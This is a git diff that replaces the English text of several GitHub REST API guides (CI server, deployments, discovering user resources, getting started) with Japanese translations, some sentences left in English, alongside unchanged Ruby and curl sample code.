-![A new ngrok URL](/assets/images/webhook_sample_url.png)
+![新しいngrok URL](/assets/images/webhook_sample_url.png)
 
-Click **Update webhook**. You should see a body response of `Well, it worked!`.
-Great! Click on **Let me select individual events**, and select the following:
+**Update webhook（webhookの更新）**をクリックしてください。 本文に`Well, it worked!`というレスポンスが表示されるはずです。 これでうまくいきました。 [**Let me select individual events**]をクリックし、以下を選択します。
 
-* Status
-* Pull Request
+* 状況
+* プルリクエスト
 
-These are the events {% data variables.product.product_name %} will send to our server whenever the relevant action
-occurs. Let's update our server to *just* handle the Pull Request scenario right now:
+これらは、関係するアクションが発生するごとに{% data variables.product.product_name %}がこのサーバーに送信するイベントです。 では、ここでプルリクエストのシナリオ*だけ*を処理するようサーバーを更新しましょう。
 
 ``` ruby
 post '/event_handler' do
@@ -94,26 +76,15 @@ helpers do
 end
 ```
 
-What's going on? Every event that {% data variables.product.product_name %} sends out attached a `X-GitHub-Event`
-HTTP header. We'll only care about the PR events for now. From there, we'll
-take the payload of information, and return the title field. In an ideal scenario,
-our server would be concerned with every time a pull request is updated, not just
-when it's opened. That would make sure that every new push passes the CI tests.
-But for this demo, we'll just worry about when it's opened.
+さて、ここで起こっていることを説明しましょう。 {% data variables.product.product_name %}が送信するすべてのイベントには、`X-GitHub-Event` HTTPヘッダが添付されています。 ここではPRイベントのみに注目しましょう。 そこから、情報のペイロードを取得し、タイトルのフィールドを返します。 理想的なシナリオにおいては、サーバはプルリクエストが開かれたときだけではなく、更新されるごとに関与します。 そうすると、すべての新しいプッシュがCIテストに合格するようになります。 しかしこのデモでは、開かれたときについてのみ気にすることにしましょう。
 
-To test out this proof-of-concept, make some changes in a branch in your test
-repository, and open a pull request. Your server should respond accordingly!
+この概念実証を試すため、テストリポジトリのブランチで何か変更を行い、プルリクエストを開きます。 そうすると、サーバーはそれに応じてレスポンスを返すはずです。
 
-## Working with statuses
+## ステータスを扱う
 
-With our server in place, we're ready to start our first requirement, which is
-setting (and updating) CI statuses. Note that at any time you update your server,
-you can click **Redeliver** to send the same payload. There's no need to make a
-new pull request every time you make a change!
+サーバーの環境を整えたところで、最初の要件、すなわちCIステータスの設定 (および更新) を行う準備が整いました。 サーバーを更新するごとに、[**Redeliver**]をクリックして同じペイロードを送信できます。 変更を行うたびに新しいプルリクエストを作成する必要はありません。
 
-Since we're interacting with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, we'll use [Octokit.rb][octokit.rb]
-to manage our interactions. We'll configure that client with
-[a personal access token][access token]:
+Since we're interacting with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, we'll use [Octokit.rb][octokit.rb] to manage our interactions. そのクライアントは、以下のように構成します。
 
 ``` ruby
 # !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!!
@@ -125,8 +96,7 @@ before do
 end
 ```
 
-After that, we'll just need to update the pull request on {% data variables.product.product_name %} to make clear
-that we're processing on the CI:
+後は、CIで処理していることを明確にするため、{% data variables.product.product_name %}のプルリクエストを更新するだけでよいのです。
 
 ``` ruby
 def process_pull_request(pull_request)
@@ -135,16 +105,13 @@ def process_pull_request(pull_request)
 end
 ```
 
-We're doing three very basic things here:
+ここでは3つの基本的なことを行っています。
 
-* we're looking up the full name of the repository
-* we're looking up the last SHA of the pull request
-* we're setting the status to "pending"
+* リポジトリのフルネームを検索する
+* プルリクエストの最後のSHAを検索する
+* ステータスを「保留中」に設定する
 
-That's it! From here, you can run whatever process you need to in order to execute
-your test suite. Maybe you're going to pass off your code to Jenkins, or call
-on another web service via its API, like [Travis][travis api]. After that, you'd
-be sure to update the status once more. In our example, we'll just set it to `"success"`:
+これで完了です。 これで、テストスイートを実行するために必要なあらゆる処理を行うことができます。 コードをJenkinsに渡すことも、API経由で[Travis][travis api]のような別のウェブサービスを呼び出すことも可能です。 その後は、ステータスをもう一度更新するようにしてください。 次の例では、ステータスを単に`"success"`と設定します。
 
 ``` ruby
 def process_pull_request(pull_request)
@@ -153,33 +120,24 @@ def process_pull_request(pull_request)
   @client.create_status(pull_request['base']['repo']['full_name'], pull_request['head']['sha'], 'success')
   puts "Pull request processed!"
 end
-``` 
+```
 
-## Conclusion
+## おわりに
 
-At GitHub, we've used a version of [Janky][janky] to manage our CI for years.
-The basic flow is essentially the exact same as the server we've built above.
-At GitHub, we:
+GitHubでは長年、CIを管理するため[Janky][janky]の特定のバージョンを使用してきました。 その基本的なフローは、上記で構築してきたサーバーと本質的にまったく同じです。 GitHubでは、以下を実行しています。
 
-* Fire to Jenkins when a pull request is created or updated (via Janky)
-* Wait for a response on the state of the CI
-* If the code is green, we merge the pull request
+* プルリクエストが作成または更新されたときにJenkinsに送信する (Janky経由)
+* CIのステータスについてレスポンスを待つ
+* コードが緑色なら、プルリクエストにマージする
 
-All of this communication is funneled back to our chat rooms. You don't need to
-build your own CI setup to use this example.
-You can always rely on [GitHub integrations][integrations].
+これら全ての通信は、チャットルームに集約されます。 この例を使用するために、独自のCI設定を構築する必要はありません。 いつでも[GitHubインテグレーション][integrations]に頼ることができます。
 
-[deploy API]: /rest/reference/repos#deployments
 [status API]: /rest/reference/repos#statuses
 [ngrok]: https://ngrok.com/
 [using ngrok]: /webhooks/configuring/#using-ngrok
 [platform samples]: https://github.com/github/platform-samples/tree/master/api/ruby/building-a-ci-server
 [Sinatra]: http://www.sinatrarb.com/
-[webhook]: /webhooks/
 [octokit.rb]: https://github.com/octokit/octokit.rb
-[access token]: /articles/creating-an-access-token-for-command-line-use
 [travis api]: https://api.travis-ci.org/docs/
 [janky]: https://github.com/github/janky
-[heaven]: https://github.com/atmos/heaven
-[hubot]: https://github.com/github/hubot
 [integrations]: https://github.com/integrations
diff --git a/translations/ja-JP/content/rest/guides/delivering-deployments.md b/translations/ja-JP/content/rest/guides/delivering-deployments.md
index 13ad16c3da..24700538d6 100644
--- a/translations/ja-JP/content/rest/guides/delivering-deployments.md
+++ b/translations/ja-JP/content/rest/guides/delivering-deployments.md
@@ -1,6 +1,6 @@
 ---
-title: Delivering deployments
-intro: 'Using the Deployments REST API, you can build custom tooling that interacts with your server and a third-party app.'
+title: デプロイメントを配信する
+intro: Deployment REST APIを使用すると、サーバーおよびサードパーティアプリケーションとやり取りするカスタムツールを構築できます。
 redirect_from:
   - /guides/delivering-deployments
   - /guides/automating-deployments-to-integrators
@@ -16,33 +16,23 @@ topics:
  
   
 
-The [Deployments API][deploy API] provides your projects hosted on {% data variables.product.product_name %} with
-the capability to launch them on a server that you own. Combined with
-[the Status API][status API], you'll be able to coordinate your deployments
-the moment your code lands on the default branch.
+[Deployment API][deploy API]は、{% data variables.product.product_name %}にホストされたプロジェクトが、あなたのサーバーで起動できるようにします。 [Status API][status API]と組み合わせれば、コードがデフォルトブランチに到着してからすぐにデプロイメントを調整できるようになります。
 
-This guide will use that API to demonstrate a setup that you can use.
-In our scenario, we will:
+このAPIでは、ステータスAPIを使って、利用できる設定を示します。 このシナリオでは、以下を行います。
 
-* Merge a pull request
-* When the CI is finished, we'll set the pull request's status accordingly.
-* When the pull request is merged, we'll run our deployment to our server.
+* ププルリクエストをマージします。
+* CIが終了したら、それに応じてプルリクエストのステータスを設定します。
+* プルリクエストがマージされたら、サーバーでデプロイメントを実行します。
 
-Our CI system and host server will be figments of our imagination. They could be
-Heroku, Amazon, or something else entirely. The crux of this guide will be setting up
-and configuring the server managing the communication.
+このCIシステムとホストサーバーは、想像上のものです。 Herokuでも、Amazonでも、何でも構いません。 このガイドのポイントは、通信を管理するサーバーを設定し、構成することにあります。
 
-If you haven't already, be sure to [download ngrok][ngrok], and learn how
-to [use it][using ngrok]. We find it to be a very useful tool for exposing local
-connections.
+まだngrokをダウンロードしていない場合は[ダウンロード][ngrok]し、その[使いかた][using ngrok]を学びましょう。 これはローカル接続を公開するために非常に役立つツールだと思います。
 
-Note: you can download the complete source code for this project
-[from the platform-samples repo][platform samples].
+注釈: このプロジェクトの完全なソースコードは、[platform-samplesリポジトリ][platform samples]からダウンロードできます。
 
-## Writing your server
+## サーバーを書く
 
-We'll write a quick Sinatra app to prove that our local connections are working.
-Let's start with this:
+ローカル接続が機能していることを証明するための、簡単なSinatraアプリケーションを書きます。 まずは以下のソースから始めましょう。
 
 ``` ruby
 require 'sinatra'
@@ -54,31 +44,21 @@ post '/event_handler' do
 end
 ```
 
-(If you're unfamiliar with how Sinatra works, we recommend [reading the Sinatra guide][Sinatra].)
+(シナトラの仕組みに詳しくない方は、[Sinatraのガイド][Sinatra]を読むことをお勧めします。)
 
-Start this server up. By default, Sinatra starts on port `4567`, so you'll want
-to configure ngrok to start listening for that, too.
+このサーバーを起動してください。 デフォルトでは、Sinatraはポート`4567`で起動するため、このポートもリッスンを開始するようngrokを設定するとよいでしょう。
 
-In order for this server to work, we'll need to set a repository up with a webhook.
-The webhook should be configured to fire whenever a pull request is created, or merged.
-Go ahead and create a repository you're comfortable playing around in. Might we
-suggest [@octocat's Spoon/Knife repository](https://github.com/octocat/Spoon-Knife)?
-After that, you'll create a new webhook in your repository, feeding it the URL
-that ngrok gave you, and choosing `application/x-www-form-urlencoded` as the
-content type:
+このサーバーが機能するには、webhookでリポジトリを設定する必要があります。 プルリクエストが作成やマージされるたびに、webhookが起動するよう設定すべきです。 なんでも好きにして構わないようなリポジトリを作成しましょう。 [@octocat's Spoon/Knifeリポジトリ](https://github.com/octocat/Spoon-Knife)などはどうでしょうか。 その後、リポジトリ内に新しいwebhookを作成し、ngrokが提供したURLを指定し、コンテンツタイプとして`application/x-www-form-urlencoded`を選択します。
 
-![A new ngrok URL](/assets/images/webhook_sample_url.png)
+![新しいngrok URL](/assets/images/webhook_sample_url.png)
 
-Click **Update webhook**. You should see a body response of `Well, it worked!`.
-Great! Click on **Let me select individual events.**, and select the following:
+**Update webhook（webhookの更新）**をクリックしてください。 本文に`Well, it worked!`というレスポンスが表示されるはずです。 これでうまくいきました。 [**Let me select individual events**]をクリックし、以下を選択します。
 
-* Deployment
-* Deployment status
-* Pull Request
+* デプロイメント
+* デプロイメントステータス
+* プルリクエスト
 
-These are the events {% data variables.product.product_name %} will send to our server whenever the relevant action
-occurs. We'll configure our server to *just* handle when pull requests are merged
-right now:
+これらは、関係するアクションが発生するごとに{% data variables.product.product_name %}がこのサーバーに送信するイベントです。 ここではプルリクエストがマージされたときの処理*だけ*を処理するようサーバーを設定します。
 
 ``` ruby
 post '/event_handler' do
@@ -93,20 +73,15 @@ post '/event_handler' do
 end
 ```
 
-What's going on? Every event that {% data variables.product.product_name %} sends out attached a `X-GitHub-Event`
-HTTP header. We'll only care about the PR events for now. When a pull request is
-merged (its state is `closed`, and `merged` is `true`), we'll kick off a deployment.
+さて、ここで起こっていることを説明しましょう。 {% data variables.product.product_name %}が送信するすべてのイベントには、`X-GitHub-Event` HTTPヘッダが添付されています。 ここではPRイベントのみに注目しましょう。 プルリクエストがマージされると (ステータスが`closed`となり、`merged`が`true`になると)、デプロイメントを開始します。
 
-To test out this proof-of-concept, make some changes in a branch in your test
-repository, open a pull request, and merge it. Your server should respond accordingly!
+この概念実証を試すため、テストリポジトリのブランチで何か変更を行い、プルリクエストを開いてマージします。 そうすると、サーバーはそれに応じてレスポンスを返すはずです。
 
-## Working with deployments
+## デプロイメントを扱う
 
-With our server in place, the code being reviewed, and our pull request
-merged, we want our project to be deployed.
+サーバーの準備が整い、コードがレビューされ、プルリクエストがマージされたので、プロジェクトをデプロイしたいと思います。
 
-We'll start by modifying our event listener to process pull requests when they're
-merged, and start paying attention to deployments:
+まず、イベントリスナーを修正し、マージされたときにプルリクエストを処理して、デプロイメントの待機を開始することから始めましょう。
 
 ``` ruby
 when "pull_request"
@@ -120,8 +95,7 @@ when "deployment_status"
 end
 ```
 
-Based on the information from the pull request, we'll start by filling out the
-`start_deployment` method:
+プルリクエストからの情報に基づき、`start_deployment`メソッドを書き込むことから始めます。
 
 ``` ruby
 def start_deployment(pull_request)
@@ -131,19 +105,13 @@ def start_deployment(pull_request)
 end
 ```
 
-Deployments can have some metadata attached to them, in the form of a `payload`
-and a `description`. Although these values are optional, it's helpful to use
-for logging and representing information.
+デプロイメントには、`payload`および`description`の形式で、一部のメタデータを添付できます。 これらの値はオプションですが、ログの記録や情報の表示に役立ちます。
 
-When a new deployment is created, a completely separate event is triggered. That's
-why we have a new `switch` case in the event handler for `deployment`. You can
-use this information to be notified when a deployment has been triggered.
+新しいデプロイメントが作成されると、まったく別のイベントがトリガーされます。 ですから、`deployment`のために、イベントハンドラーの`switch`に新たなcaseを用意します。 この情報を使用して、デプロイメントがトリガーされたときに通知を受け取ることができます。
 
-Deployments can take a rather long time, so we'll want to listen for various events,
-such as when the deployment was created, and what state it's in.
+デプロイメントにはかなり時間がかかる場合があるため、デプロイメントがいつ作成されたか、デプロイメントのステータスなどのさまざまなイベントをリッスンしたいと思います。
 
-Let's simulate a deployment that does some work, and notice the effect it has on
-the output. First, let's complete our `process_deployment` method:
+何かの作業をするデプロイメントをシミュレートし、その影響を出力として通知しましょう。 まず、`process_deployment`メソッドを完成させます。
 
 ``` ruby
 def process_deployment
@@ -157,7 +125,7 @@ def process_deployment
 end
 ```
 
-Finally, we'll simulate storing the status information as console output:
+最後に、ステータス情報の保存をコンソールの出力としてシミュレートします。
 
 ``` ruby
 def update_deployment_status
@@ -165,27 +133,20 @@ def update_deployment_status
 end
 ```
 
-Let's break down what's going on. A new deployment is created by `start_deployment`,
-which triggers the `deployment` event. From there, we call `process_deployment`
-to simulate work that's going on. During that processing, we also make a call to
-`create_deployment_status`, which lets a receiver know what's going on, as we
-switch the status to `pending`.
+ここの処理を細かく説明しましょう。 新しいデプロイメントが`start_deployment`により作成され、それが`deployment`イベントをトリガーします。 そこから`process_deployment`を呼び出して、実行中の作業をシミュレートします。 この処理の間に`create_deployment_status`も呼び出し、ステータスを`pending`に切り替えることで受信側に状態を通知します。
 
-After the deployment is finished, we set the status to `success`.
+デプロイメントが完了後、ステータスを`success`に設定します。
 
-## Conclusion
+## おわりに
 
-At GitHub, we've used a version of [Heaven][heaven] to manage
-our deployments for years. A common flow is essentially the same as the
-server we've built above:
+GitHubでは長年、デプロイメントを管理するため[Heaven][heaven]の特定のバージョンを使用してきました。 A common flow is essentially the same as the server we've built above:
 
 * Wait for a response on the state of the CI checks (success or failure)
 * If the required checks succeed, merge the pull request
 * Heaven takes the merged code, and deploys it to staging and production servers
-* In the meantime, Heaven also notifies everyone about the build, via [Hubot][hubot] sitting in our chat rooms
+* その間にHeavenは、当社のチャットルームに居座っている[Hubot][hubot]を通じて全員にビルドについて通知する
 
-That's it! You don't need to build your own deployment setup to use this example.
-You can always rely on [GitHub integrations][integrations].
+これで完了です。 この例を使用するために、独自のデプロイメントを構築する必要はありません。 いつでも[GitHubインテグレーション][integrations]に頼ることができます。
 
 [deploy API]: /rest/reference/repos#deployments
 [status API]: /guides/building-a-ci-server
@@ -193,11 +154,6 @@ You can always rely on [GitHub integrations][integrations].
 [using ngrok]: /webhooks/configuring/#using-ngrok
 [platform samples]: https://github.com/github/platform-samples/tree/master/api/ruby/delivering-deployments
 [Sinatra]: http://www.sinatrarb.com/
-[webhook]: /webhooks/
-[octokit.rb]: https://github.com/octokit/octokit.rb
-[access token]: /articles/creating-an-access-token-for-command-line-use
-[travis api]: https://api.travis-ci.org/docs/
-[janky]: https://github.com/github/janky
 [heaven]: https://github.com/atmos/heaven
 [hubot]: https://github.com/github/hubot
 [integrations]: https://github.com/integrations
diff --git a/translations/ja-JP/content/rest/guides/discovering-resources-for-a-user.md b/translations/ja-JP/content/rest/guides/discovering-resources-for-a-user.md
index 11f6410042..23beafc903 100644
--- a/translations/ja-JP/content/rest/guides/discovering-resources-for-a-user.md
+++ b/translations/ja-JP/content/rest/guides/discovering-resources-for-a-user.md
@@ -1,6 +1,6 @@
 ---
-title: Discovering resources for a user
-intro: Learn how to find the repositories and organizations that your app can access for a user in a reliable way for your authenticated requests to the REST API.
+title: ユーザのリソースを調べる
+intro: REST APIに対する認証済みリクエストにおいて、アプリケーションがアクセスできるユーザのリポジトリやOrganizationを確実に調べる方法を学びます。
 redirect_from:
   - /guides/discovering-resources-for-a-user
   - /v3/guides/discovering-resources-for-a-user
@@ -11,26 +11,26 @@ versions:
   ghec: '*'
 topics:
   - API
-shortTitle: Discover resources for a user
+shortTitle: ユーザのリソースを見つける
 ---
 
 
 
-When making authenticated requests to the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, applications often need to fetch the current user's repositories and organizations. In this guide, we'll explain how to reliably discover those resources.
+When making authenticated requests to the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, applications often need to fetch the current user's repositories and organizations. このガイドでは、これらのリソースを確実に調べる方法について説明します。
 
-To interact with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, we'll be using [Octokit.rb][octokit.rb]. You can find the complete source code for this project in the [platform-samples][platform samples] repository.
+To interact with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, we'll be using [Octokit.rb][octokit.rb]. このプロジェクトの完全なソースコードは、[platform-samples][platform samples]リポジトリにあります。
 
-## Getting started
+## はじめましょう
 
-If you haven't already, you should read the ["Basics of Authentication"][basics-of-authentication] guide before working through the examples below. The examples below assume that you have [registered an OAuth application][register-oauth-app] and that your [application has an OAuth token for a user][make-authenticated-request-for-user].
+まだ[「認証の基本」][basics-of-authentication]ガイドを読んでいない場合は、それを読んでから以下の例に取り組んでください。 以下の例は、[OAuthアプリケーションを登録済み][register-oauth-app]で、[アプリケーションがユーザのOAuthトークンを持っている][make-authenticated-request-for-user]ことを前提としています。
 
-## Discover the repositories that your app can access for a user
+## アプリケーションでアクセス可能なユーザのリポジトリを調べる
 
-In addition to having their own personal repositories, a user may be a collaborator on repositories owned by other users and organizations. Collectively, these are the repositories where the user has privileged access: either it's a private repository where the user has read or write access, or it's {% ifversion fpt %}a public{% elsif ghec or ghes %}a public or internal{% elsif ghae %}an internal{% endif %} repository where the user has write access.
+ユーザは、個人でリポジトリを所有する他に、別のユーザやOrganizationが所有するリポジトリのコラボレータであることもあります。 Collectively, these are the repositories where the user has privileged access: either it's a private repository where the user has read or write access, or it's {% ifversion fpt %}a public{% elsif ghec or ghes %}a public or internal{% elsif ghae %}an internal{% endif %} repository where the user has write access.
 
-[OAuth scopes][scopes] and [organization application policies][oap] determine which of those repositories your app can access for a user. Use the workflow below to discover those repositories.
+アプリがユーザのどのリポジトリにアクセスできるかを決めるのは、[OAuthスコープ][scopes]および[Organizationのアプリケーションポリシー][oap]です。 以下のワークフローを使用して、これらのリポジトリを調べます。
 
-As always, first we'll require [GitHub's Octokit.rb][octokit.rb] Ruby library. Then we'll configure Octokit.rb to automatically handle [pagination][pagination] for us.
+いつものように、まずは[GitHubのOctokit.rb][octokit.rb] Rubyライブラリを読み込む必要があります。 そしてOctokit.rbが[ページネーション][pagination]を自動的に処理してくれるよう設定します。
 
 ``` ruby
 require 'octokit'
@@ -38,7 +38,7 @@ require 'octokit'
 Octokit.auto_paginate = true
 ```
 
-Next, we'll pass in our application's [OAuth token for a given user][make-authenticated-request-for-user]:
+次に、アプリケーションの[ユーザに対するOAuthトークン][make-authenticated-request-for-user]を渡します。
 
 ``` ruby
 # !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!!
@@ -46,7 +46,7 @@ Next, we'll pass in our application's [OAuth token for a given user][make-authen
 client = Octokit::Client.new :access_token => ENV["OAUTH_ACCESS_TOKEN"]
 ```
 
-Then, we're ready to fetch the [repositories that our application can access for the user][list-repositories-for-current-user]:
+これで、[アクセス可能なユーザのリポジトリ][list-repositories-for-current-user]をフェッチする準備が整いました。
 
 ``` ruby
 client.repositories.each do |repository|
@@ -63,11 +63,11 @@ client.repositories.each do |repository|
 end
 ```
 
-## Discover the organizations that your app can access for a user
+## アプリケーションがアクセス可能なユーザのOrganizationを調べる
 
-Applications can perform all sorts of organization-related tasks for a user. To perform these tasks, the app needs an [OAuth authorization][scopes] with sufficient permission. For example, the `read:org` scope allows you to [list teams][list-teams], and the `user` scope lets you [publicize the user’s organization membership][publicize-membership]. Once a user has granted one or more of these scopes to your app, you're ready to fetch the user’s organizations.
+アプリケーションは、ユーザに対してOrganizationに関するあらゆるタスクを実行できます。 アプリケーションがタスクを実行するには、必要な権限を持つ[OAuth認証][scopes] が必要です。 たとえば、`read:org`スコープでは[Teamのリストを取得][list-teams]でき、`user`スコープでは[ユーザのOrganizationに属するメンバーを取得][publicize-membership]できます。 ユーザがこれらのスコープのうちの1つ以上をアプリケーションに付与すると、ユーザのOrganizationをフェッチする準備が整います。
 
-Just as we did when discovering repositories above, we'll start by requiring [GitHub's Octokit.rb][octokit.rb] Ruby library and configuring it to take care of [pagination][pagination] for us:
+上記でリポジトリを調べたときと同様に、まずは[GitHubのOctokit.rb][octokit.rb] Rubyライブラリを呼び出し、[ページネーション][pagination]を扱えるようにしましょう。
 
 ``` ruby
 require 'octokit'
@@ -75,7 +75,7 @@ require 'octokit'
 Octokit.auto_paginate = true
 ```
 
-Next, we'll pass in our application's [OAuth token for a given user][make-authenticated-request-for-user] to initialize our API client:
+次に、アプリケーションの[ユーザに対するOAuthトークン][make-authenticated-request-for-user]を渡して、APIクライアントを初期化します。
 
 ``` ruby
 # !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!!
@@ -83,7 +83,7 @@ Next, we'll pass in our application's [OAuth token for a given user][make-authen
 client = Octokit::Client.new :access_token => ENV["OAUTH_ACCESS_TOKEN"]
 ```
 
-Then, we can [list the organizations that our application can access for the user][list-orgs-for-current-user]:
+これで、[アプリケーションがアクセス可能なユーザのOrganizationを取得][list-orgs-for-current-user]できます。
 
 ``` ruby
 client.organizations.each do |organization|
@@ -91,11 +91,11 @@ client.organizations.each do |organization|
 end
 ```
 
-### Return all of the user's organization memberships
+### ユーザのすべてのOrganizationメンバーシップを返す
 
-If you've read the docs from cover to cover, you may have noticed an [API method for listing a user's public organization memberships][list-public-orgs]. Most applications should avoid this API method. This method only returns the user's public organization memberships, not their private organization memberships.
+このドキュメントを端から端まで読んだ方は、[ユーザのパブリックなOrganizationに属するメンバーを取得するAPIメソッド][list-public-orgs]に気付いたかもしれません。 ほとんどのアプリケーションでは、このAPIメソッドを避けるべきです。 このメソッドは、ユーザのパブリックなOrganizationに属するメンバーだけを返し、プライベートなOrganizationに属するメンバーは返しません。
 
-As an application, you typically want all of the user's organizations that your app is authorized to access. The workflow above will give you exactly that.
+アプリケーションでは通常、アクセスを認可されたすべてのユーザのOrganizationが求められます。 上記のワークフローでは、まさにこれを実行しています。
 
 [basics-of-authentication]: /rest/guides/basics-of-authentication
 [list-public-orgs]: /rest/reference/orgs#list-organizations-for-a-user
@@ -103,10 +103,13 @@ As an application, you typically want all of the user's organizations that your
 [list-orgs-for-current-user]: /rest/reference/orgs#list-organizations-for-the-authenticated-user
 [list-teams]: /rest/reference/teams#list-teams
 [make-authenticated-request-for-user]: /rest/guides/basics-of-authentication#making-authenticated-requests
+[make-authenticated-request-for-user]: /rest/guides/basics-of-authentication#making-authenticated-requests
 [oap]: https://developer.github.com/changes/2015-01-19-an-integrators-guide-to-organization-application-policies/
 [octokit.rb]: https://github.com/octokit/octokit.rb
+[octokit.rb]: https://github.com/octokit/octokit.rb
 [pagination]: /rest#pagination
 [platform samples]: https://github.com/github/platform-samples/tree/master/api/ruby/discovering-resources-for-a-user
 [publicize-membership]: /rest/reference/orgs#set-public-organization-membership-for-the-authenticated-user
 [register-oauth-app]: /rest/guides/basics-of-authentication#registering-your-app
 [scopes]: /apps/building-oauth-apps/understanding-scopes-for-oauth-apps/
+[scopes]: /apps/building-oauth-apps/understanding-scopes-for-oauth-apps/
diff --git a/translations/ja-JP/content/rest/guides/getting-started-with-the-rest-api.md b/translations/ja-JP/content/rest/guides/getting-started-with-the-rest-api.md
index 4e6053352c..53c63ec834 100644
--- a/translations/ja-JP/content/rest/guides/getting-started-with-the-rest-api.md
+++ b/translations/ja-JP/content/rest/guides/getting-started-with-the-rest-api.md
@@ -1,6 +1,6 @@
 ---
-title: Getting started with the REST API
-intro: 'Learn the foundations for using the REST API, starting with authentication and some endpoint examples.'
+title: REST APIを使ってみる
+intro: 認証とエンドポイントの例から始めて、REST APIを使用するための基礎を学びます。
 redirect_from:
   - /guides/getting-started
   - /v3/guides/getting-started
@@ -11,28 +11,23 @@ versions:
   ghec: '*'
 topics:
   - API
-shortTitle: Get started - REST API
+shortTitle: 始めましょう - REST API
 ---
 
 
-Let's walk through core API concepts as we tackle some everyday use cases.
+日常的なユースケースに取り組みながら、APIの中心的な概念を見ていきましょう。
 
 {% data reusables.rest-api.dotcom-only-guide-note %}
 
-## Overview
+## 概要
 
-Most applications will use an existing [wrapper library][wrappers] in the language
-of your choice, but it's important to familiarize yourself with the underlying API
-HTTP methods first.
+ほとんどのアプリケーションは、任意の言語において既存の[ラッパーライブラリ][wrappers]を使用しています。ただ、まずは基底となっているAPI HTTPメソッドについて知ることが大切です。
 
-There's no easier way to kick the tires than through [cURL][curl].{% ifversion fpt or ghec %} If you are using
-an alternative client, note that you are required to send a valid
-[User Agent header](/rest/overview/resources-in-the-rest-api#user-agent-required) in your request.{% endif %}
+ちょっと試しにやってみるだけなら、[cURL][curl]を使うのが一番簡単です。{% ifversion fpt or ghec %}別のクライアントを使用している場合、リクエストで有効な [ユーザエージェントのヘッダ](/rest/overview/resources-in-the-rest-api#user-agent-required)を送信する必要があることに注意してください。{% endif %}
 
 ### Hello World
 
-Let's start by testing our setup. Open up a command prompt and enter the
-following command:
+まずはセットアップをテストすることから始めましょう。 コマンドプロンプトを開き、次のコマンドを入力します。
 
 ```shell
 $ curl https://api.github.com/zen
@@ -40,9 +35,9 @@ $ curl https://api.github.com/zen
 > Keep it logically awesome.
 ```
 
-The response will be a random selection from our design philosophies.
+レスポンスは、私たちの設計思想からランダムに選択されます。
 
-Next, let's `GET` [Chris Wanstrath's][defunkt github] [GitHub profile][users api]:
+次に、[Chris Wanstrathの][defunkt github][GitHubプロフィール][users api]を`GET`します。
 
 ```shell
 # GET /users/defunkt
@@ -60,7 +55,7 @@ $ curl https://api.github.com/users/defunkt
 > }
 ```
 
-Mmmmm, tastes like [JSON][json]. Let's add the `-i` flag to include headers:
+うーん、[JSON][json]っぽいですね。 `-i`フラグを追加して、ヘッダを入れてみましょう。
 
 ```shell
 $ curl -i https://api.github.com/users/defunkt
@@ -104,38 +99,29 @@ $ curl -i https://api.github.com/users/defunkt
 > }
 ```
 
-There are a few interesting bits in the response headers. As expected, the
-`Content-Type` is `application/json`.
+レスポンスヘッダの中に、ちょっと面白いものがありますね。 思っていたとおり、`Content-Type`は`application/json`です。
 
-Any headers beginning with `X-` are custom headers, and are not included in the
-HTTP spec. For example:
+`X-`で始まるヘッダはすべてカスタムヘッダで、HTTPの仕様にはありません。 例:
 
-* `X-GitHub-Media-Type` has a value of `github.v3`. This lets us know the [media type][media types]
-for the response. Media types have helped us version our output in API v3. We'll
-talk more about that later.
-* Take note of the `X-RateLimit-Limit` and `X-RateLimit-Remaining` headers. This
-pair of headers indicate [how many requests a client can make][rate-limiting] in
-a rolling time period (typically an hour) and how many of those requests the
-client has already spent.
+* `X-GitHub-Media-Type`の値は`github.v3`です。 これは、レスポンスの[メディアタイプ][media types]を伝えています。 メディアタイプは、出力をAPI v3にするために役立ちました。 これについては、後ほど詳しく説明します。
+* `X-RateLimit-Limit`と`X-RateLimit-Remaining`のヘッダに注目してください。 この2つのヘッダは、1つのローリング期間 (通常は1時間) に[1つのクライアントが行えるリクエストの数][rate-limiting]と、クライアントが既に消費したリクエストの数を示しています。
 
-## Authentication
+## 認証
 
-Unauthenticated clients can make 60 requests per hour. To get more requests per hour, we'll need to
-_authenticate_. In fact, doing anything interesting with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API requires
-[authentication][authentication].
+認証されていないクライアントは、1時間に60件のリクエストを行うことができます。 1時間あたりのリクエストを増やすには、_認証_が必要です。 In fact, doing anything interesting with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API requires [authentication][authentication].
 
-### Using personal access tokens
+### 個人アクセストークンの使用
 
-The easiest and best way to authenticate with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API is by using Basic Authentication [via OAuth tokens](/rest/overview/other-authentication-methods#via-oauth-and-personal-access-tokens). OAuth tokens include [personal access tokens][personal token].
+The easiest and best way to authenticate with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API is by using Basic Authentication [via OAuth tokens](/rest/overview/other-authentication-methods#via-oauth-and-personal-access-tokens). OAuthトークンには[個人アクセストークン][personal token]が含まれています。
 
-Use a `-u` flag to set your username:
+`-u`フラグを使って、ユーザ名を設定します。
 
 ```shell
 $ curl -i -u <em>your_username</em> {% data variables.product.api_url_pre %}/users/octocat
 
 ```
 
-When prompted, you can enter your OAuth token, but we recommend you set up a variable for it:
+プロンプトが表示されたらOAuthトークンを入力できますが、そのための変数を設定することをお勧めします。
 
 You can use `-u "your_username:$token"` and set up a variable for `token` to avoid leaving your token in shell history, which should be avoided.
 
@@ -144,9 +130,9 @@ $ curl -i -u <em>your_username:$token</em> {% data variables.product.api_url_pre
 
 ```
 
